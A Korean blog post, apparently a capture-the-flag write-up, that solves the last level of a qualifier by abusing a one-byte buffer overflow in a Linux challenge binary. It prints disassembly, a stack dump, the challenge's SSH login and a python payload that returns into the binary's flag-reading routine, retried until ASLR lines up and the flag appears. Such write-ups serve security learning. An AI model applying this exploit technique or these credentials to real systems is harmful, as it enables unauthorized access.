sweetchip's blog


간만에 BOB가 일찎 끝나서 시간이 많았네요~


지난번에 10번 바이너리 받아놓기만 하고 그냥 보고만 있었는데 오늘 마침 풀게 되었습니다. 흐흐


'예선전' 난이도가 비교적 다른 대회보단 낮은편이라서 시스템에 엄청나게 약한 저도 그리 어렵지 않게 풀수 있었습니다/// [본선은 엄청 어려울것 같네요..]




드디어 마지막 레벨까지 오셨군요.

마지막까지 화이팅입니다.


리눅스 로컬 문제이고 바이너리를

분석하여 풀이를 인증하기 위한 키를

획득하세요!


[SSH 정보]

IP: 112.172.160.241

PORT: 2323

ID: guest_face

Password: computergenius

문제 바이너리 위치: /home/face/chal


문제 서버로 접속해보면 바이너리와 키값이 있다.


일단 이 문제는 바로 이전의 포스팅을 보면 힌트가 나와있는데 푸는방법이 3가지이다.


1. system 함수이용

2. BOF

3. Memory Leek


이중에서 두번째 방법으로 풀어볼 것이다.


사실 1번은 어떻게 푸는지 모르다가 다른사람 풀이 보고 알았다 -ㅅ-;;; 리눅스 공부좀 더 해야지.. 큭;;


3번 방법은.. 원리는 알겠지만 덜 이해가 되서 결국엔 2번째 방법을 택했다.


문제 바이너리를 가져오고 분석을 진행했다.


.text:080487CC s = byte ptr -4Ch

.text:080487CC dest = byte ptr -38h

.text:080487CC var_1E = byte ptr -1Eh

.text:080487CC src = byte ptr 8

.text:080487CC


.text:080487CC push ebp

.text:080487CD mov ebp, esp

.text:080487CF sub esp, 58h

.text:080487D2 mov dword ptr [esp 8], 14h ; n

.text:080487DA mov dword ptr [esp 4], 0 ; c

.text:080487E2 lea eax, [ebp s]

.text:080487E5 mov [esp], eax ; s

.text:080487E8 call _memset

.text:080487ED mov dword ptr [esp 8], 18h ; n

.text:080487F5 lea eax, [ebp src]

.text:080487F8 mov [esp 4], eax ; src

.text:080487FC lea eax, [ebp dest]

.text:080487FF mov [esp], eax ; dest

.text:08048802 call _memcpy

.text:08048807 mov eax, offset aAreYouTryingTo ; "Are you trying to buffer overflow?!:\n"

.text:0804880C mov [esp], eax ; format

.text:0804880F call _printf

.text:08048814 mov eax, offset aInput ; "INPUT: "

.text:08048819 mov [esp], eax ; format

.text:0804881C call _printf

.text:08048821 mov eax, ds:stdout

.text:08048826 mov [esp], eax ; stream

.text:08048829 call _fflush

.text:0804882E mov eax, ds:stdin

.text:08048833 mov [esp 8], eax ; stream

.text:08048837 mov dword ptr [esp 4], 1Fh ; n

.text:0804883F lea eax, [ebp var_1E]

.text:08048842 mov [esp], eax ; s

.text:08048845 call _fgets

.text:0804884A lea eax, [ebp var_1E]

.text:0804884D mov [esp], eax ; s

.text:08048850 call _strlen

.text:08048855 mov [esp 8], eax ; n

.text:08048859 lea eax, [ebp var_1E]

.text:0804885C mov [esp 4], eax ; src

.text:08048860 lea eax, [ebp s]

.text:08048863 mov [esp], eax ; dest

.text:08048866 call _memcpy

.text:0804886B lea eax, [ebp s]

.text:0804886E mov [esp], eax ; s

.text:08048871 call _strlen

.text:08048876 cmp eax, 1Eh

.text:08048879 jle short locret_80488AB

.text:0804887B lea eax, [ebp s]

.text:0804887E mov [esp], eax ; s

.text:08048881 call _strlen

.text:08048886 mov edx, offset a1ErrorTheBuffe ; "[1] error: the buffer is too long. [%d]"...

.text:0804888B lea ecx, [ebp s]

.text:0804888E mov [esp 8], ecx

.text:08048892 mov [esp 4], eax

.text:08048896 mov [esp], edx ; format

.text:08048899 call _printf

.text:0804889E mov eax, ds:stdout

.text:080488A3 mov [esp], eax ; stream

.text:080488A6 call _fflush

.text:080488AB

.text:080488AB locret_80488AB: ; CODE XREF: bof ADj

.text:080488AB leave

.text:080488AC retn

.text:080488AC bof endp


핵심 부분만 가져온 코드이다.


바이너리를 실행하면 정보를 입력받고 '버퍼오버플로우에 도전하세요~' 부분이 나오는데 그 부분이다.


문제는 버퍼는 0x1e 만큼 선언되어있지만 0x1f 만큼 받아서 1byte BOF 가 발생한다.


0xbf82aad0: 0x08048318 0x0000001e 0xb7668ede 0x00000001

0xbf82aae0: 0xb75fe228 0xb763b8f1 0xb77a6000 0x00000000

0xbf82aaf0: 0xb77a6000 0xb77a6a20 0xb765d112 0xb77a6a20

0xbf82ab00: 0x08049084 0xbf82ab24 0xb767c190 0xb77a6000

0xbf82ab10: 0x00000000 0x00000000 0x080488ab 0xb77a6a20

0xbf82ab20: 0x00000024 0xbf82ab28 0x41414141 0x41414141

0xbf82ab30: 0x41414141 0x41414141 0x41414141 0x41414141

0xbf82ab40: 0x41414141 0xc73b4141 0xd9d844c0 0x00000000

0xbf82ab50: 0x083bd008 0x41416a20 0x41414141 0x41414141

0xbf82ab60: 0x41414141 0x41414141 0x41414141 0x41414141

---Type to continue, or q to quit---

0xbf82ab70: 0x41414141 0xbf82ab00 0x08048af2 0x00000001

0xbf82ab80: 0x0fab0360 0xc73bc2dc 0xd9d844c0 0x00000000

0xbf82ab90: 0x083bd008 0x00000001 0x0fab0360 0xc73bc2dc

0xbf82aba0: 0xd9d844c0 0x00000000 0x083bd008 0xbf82abb8

0xbf82abb0: 0x08048f2b 0x00000000 0x00000000 0xb7610935

0xbf82abc0: 0x00000001 0xbf82ac54 0xbf82ac5c 0xb77d3000

0xbf82abd0: 0x000004ad 0x00000000 0xb77b0858 0x00000003


.text:08048E5D jnz loc_8048EF0

.text:08048E63 mov edx, offset modes ; "rb"

.text:08048E68 mov eax, offset a_Flag ; "./flag"

.text:08048E6D mov [esp 4], edx ; modes

.text:08048E71 mov [esp], eax ; filename

.text:08048E74 call _fopen

.text:08048E79 mov [ebp stream], eax

.text:08048E7C cmp [ebp stream], 0

.text:08048E80 jnz short loc_8048EA8

.text:08048E82 mov eax, offset aNoFlagFile_ ; "No flag file.\n"

.text:08048E87 mov [esp], eax ; format

.text:08048E8A call _printf

.text:08048E8F mov eax, ds:stdout

.text:08048E94 mov [esp], eax ; stream

.text:08048E97 call _fflush

.text:08048E9C mov dword ptr [esp], 0 ; status

.text:08048EA3 call _exit

.text:08048EA8 ; ---------------------------------------------------------------------------

.text:08048EA8

.text:08048EA8 loc_8048EA8: ; CODE XREF: flag FFj


쉘코드를 담고 실행하려면 고 난이도의 Exploit이 될것이다;;


그러므로 바이너리 내부 루틴에 있는 키를 읽는 함수를 이용한 rtl 을 사용한다


Section Headers:

[Nr] Name Type Addr Off Size ES Flg Lk Inf Al

[ 0] NULL 00000000 000000 000000 00 0 0 0

[ 1] .interp PROGBITS 08048154 000154 000013 00 A 0 0 1

[ 2] .note.ABI-tag NOTE 08048168 000168 000020 00 A 0 0 4

[ 3] .note.gnu.build-i NOTE 08048188 000188 000024 00 A 0 0 4

[ 4] .gnu.hash GNU_HASH 080481ac 0001ac 00002c 04 A 5 0 4

[ 5] .dynsym DYNSYM 080481d8 0001d8 000140 10 A 6 1 4

[ 6] .dynstr STRTAB 08048318 000318 0000cc 00 A 0 0 1

[ 7] .gnu.version VERSYM 080483e4 0003e4 000028 02 A 5 0 2

[ 8] .gnu.version_r VERNEED 0804840c 00040c 000040 00 A 6 1 4

[ 9] .rel.dyn REL 0804844c 00044c 000018 08 A 5 0 4

[10] .rel.plt REL 08048464 000464 000080 08 A 5 12 4

[11] .init PROGBITS 080484e4 0004e4 00002e 00 AX 0 0 4

[12] .plt PROGBITS 08048520 000520 000110 04 AX 0 0 16

[13] .text PROGBITS 08048630 000630 0009cc 00 AX 0 0 16

[14] .fini PROGBITS 08048ffc 000ffc 00001a 00 AX 0 0 4

[15] .rodata PROGBITS 08049018 001018 000341 00 A 0 0 4

[16] .eh_frame_hdr PROGBITS 0804935c 00135c 000074 00 A 0 0 4

[17] .eh_frame PROGBITS 080493d0 0013d0 0001d4 00 A 0 0 4

[18] .ctors PROGBITS 0804af14 001f14 000008 00 WA 0 0 4

[19] .dtors PROGBITS 0804af1c 001f1c 000008 00 WA 0 0 4

[20] .jcr PROGBITS 0804af24 001f24 000004 00 WA 0 0 4

[21] .dynamic DYNAMIC 0804af28 001f28 0000c8 08 WA 6 0 4

[22] .got PROGBITS 0804aff0 001ff0 000004 04 WA 0 0 4

[23] .got.plt PROGBITS 0804aff4 001ff4 00004c 04 WA 0 0 4

[24] .data PROGBITS 0804b040 002040 000008 00 WA 0 0 4

[25] .bss NOBITS 0804b060 002048 000090 00 WA 0 0 32

[26] .comment PROGBITS 00000000 002048 00002a 01 MS 0 0 1

[27] .shstrtab STRTAB 00000000 002072 0000ec 00 0 0 1


위 정보를 모아서 exploit을 작성한다.


guest_face@ubuntu:/home/face$ (python -c 'print"1\n1\n7\n" ("\x80\xb0\x04\x08" "\x63\x8e\x04\x08")*3 "swcpzz" "\x2c"') | /home/face/chal

Get me your information.

1. Age

2. Sex

3. Birth

4. Favorite number

5. Reversing skill

6. Exploitaion skill

7. Exit this menu

INPUT: Value?

INPUT: add_value(): added

Get me your information.

1. Age

2. Sex

3. Birth

4. Favorite number

5. Reversing skill

6. Exploitaion skill

7. Exit this menu

INPUT: Thanks for the info.

1: number - 00000001, value - 00000001

You are the hero!

Are you trying to buffer overflow?!:

INPUT: [1] error: the buffer is too long. [36][€c€c€cswcpzz#톶?

Segmentation fault


Exploit을 성공하고 face계정의 권한을 얻는다면 플래그를 읽는 과정에 의해 키값까지 뱉어낼것이다.


하지만... 환경이 우분투 13.04라서 랜덤스택이 걸려있다 [nx는 확인안해봤음.]


그래서 선택한것은 몇번이고 해보는 것이다 ㅋㅋ [aslr이 걸려있어도 주소가 반복될 때가 있기 때문이다.]


이전 레벨에서 플래그에 항상 key : ~~~ 이 있으므로..


guest_face@ubuntu:/home/face$ (python -c 'print"1\n1\n7\n" ("\x80\xb0\x04\x08" "\x63\x8e\x04\x08")*3 "swcpzz" "\x2c"') | /home/face/chal | grep key

guest_face@ubuntu:/home/face$ (python -c 'print"1\n1\n7\n" ("\x80\xb0\x04\x08" "\x63\x8e\x04\x08")*3 "swcpzz" "\x2c"') | /home/face/chal | grep key

guest_face@ubuntu:/home/face$ (python -c 'print"1\n1\n7\n" ("\x80\xb0\x04\x08" "\x63\x8e\x04\x08")*3 "swcpzz" "\x2c"') | /home/face/chal | grep key

guest_face@ubuntu:/home/face$ (python -c 'print"1\n1\n7\n" ("\x80\xb0\x04\x08" "\x63\x8e\x04\x08")*3 "swcpzz" "\x2c"') | /home/face/chal | grep key

guest_face@ubuntu:/home/face$ (python -c 'print"1\n1\n7\n" ("\x80\xb0\x04\x08" "\x63\x8e\x04\x08")*3 "swcpzz" "\x2c"') | /home/face/chal | grep key

guest_face@ubuntu:/home/face$ (python -c 'print"1\n1\n7\n" ("\x80\xb0\x04\x08" "\x63\x8e\x04\x08")*3 "swcpzz" "\x2c"') | /home/face/chal | grep key

guest_face@ubuntu:/home/face$ (python -c 'print"1\n1\n7\n" ("\x80\xb0\x04\x08" "\x63\x8e\x04\x08")*3 "swcpzz" "\x2c"') | /home/face/chal | grep key

guest_face@ubuntu:/home/face$ (python -c 'print"1\n1\n7\n" ("\x80\xb0\x04\x08" "\x63\x8e\x04\x08")*3 "swcpzz" "\x2c"') | /home/face/chal | grep key

guest_face@ubuntu:/home/face$ (python -c 'print"1\n1\n7\n" ("\x80\xb0\x04\x08" "\x63\x8e\x04\x08")*3 "swcpzz" "\x2c"') | /home/face/chal | grep key

guest_face@ubuntu:/home/face$ (python -c 'print"1\n1\n7\n" ("\x80\xb0\x04\x08" "\x63\x8e\x04\x08")*3 "swcpzz" "\x2c"') | /home/face/chal | grep key

guest_face@ubuntu:/home/face$ (python -c 'print"1\n1\n7\n" ("\x80\xb0\x04\x08" "\x63\x8e\x04\x08")*3 "swcpzz" "\x2c"') | /home/face/chal | grep key

....

....

....

guest_face@ubuntu:/home/face$ (python -c 'print"1\n1\n7\n" ("\x80\xb0\x04\x08" "\x63\x8e\x04\x08")*3 "swcpzz" "\x2c"') | /home/face/chal | grep key

guest_face@ubuntu:/home/face$ (python -c 'print"1\n1\n7\n" ("\x80\xb0\x04\x08" "\x63\x8e\x04\x08")*3 "swcpzz" "\x2c"') | /home/face/chal | grep key

guest_face@ubuntu:/home/face$ (python -c 'print"1\n1\n7\n" ("\x80\xb0\x04\x08" "\x63\x8e\x04\x08")*3 "swcpzz" "\x2c"') | /home/face/chal | grep key

guest_face@ubuntu:/home/face$ (python -c 'print"1\n1\n7\n" ("\x80\xb0\x04\x08" "\x63\x8e\x04\x08")*3 "swcpzz" "\x2c"') | /home/face/chal | grep key

guest_face@ubuntu:/home/face$ (python -c 'print"1\n1\n7\n" ("\x80\xb0\x04\x08" "\x63\x8e\x04\x08")*3 "swcpzz" "\x2c"') | /home/face/chal | grep key

guest_face@ubuntu:/home/face$ (python -c 'print"1\n1\n7\n" ("\x80\xb0\x04\x08" "\x63\x8e\x04\x08")*3 "swcpzz" "\x2c"') | /home/face/chal | grep key

guest_face@ubuntu:/home/face$ (python -c 'print"1\n1\n7\n" ("\x80\xb0\x04\x08" "\x63\x8e\x04\x08")*3 "swcpzz" "\x2c"') | /home/face/chal | grep key

guest_face@ubuntu:/home/face$ (python -c 'print"1\n1\n7\n" ("\x80\xb0\x04\x08" "\x63\x8e\x04\x08")*3 "swcpzz" "\x2c"') | /home/face/chal | grep key

guest_face@ubuntu:/home/face$ (python -c 'print"1\n1\n7\n" ("\x80\xb0\x04\x08" "\x63\x8e\x04\x08")*3 "swcpzz" "\x2c"') | /home/face/chal | grep key

Oh, wow! Congrats! The key is: AwesomeFriday!


성공적으로 플래그를 읽었다.






Flag : AwesomeFriday!

신고

Comment 6

  • 2013.08.07 04:59 수정 답글

    비밀댓글입니다

    • 2013.08.07 14:47 신고 수정

      안녕하세요
      저의경우엔 모두 독학으로 했습니다. 저 말고 다른 순위권분들 95%분들이 모두 독학으로 공부하셨습니다.
      저의경우는 책과 인터넷을 두개 보면서 했구요.. 지금은 프로그래밍을 시작한지는 1년 8개월, 보안공부는 1년 2개월 정도 됬습니다.
      감사합니다

  • 2013.08.07 17:35 수정 답글

    비밀댓글입니다

    • 2013.08.08 01:02 신고 수정

      c언어같은 프로그래밍 언어로 하셔도 되고 전 저게 편해서 따로 공부했습니다 ㅎ

  • 2013.08.18 18:15 수정 답글

    비밀댓글입니다

    • 2013.08.19 23:38 신고 수정

      webhacking.kr 등 다양한 워게임 사이트들도 있구요.
      하고 싶으신 공부 하시면서 다른 분야도 접하시면서 해보심됩니다.
      대회도 자주 나가 보시구요 ㅎㅎ
      저도 대단한 분들 처럼은 아니라서... 이정도만 답해드릴 수 있네요///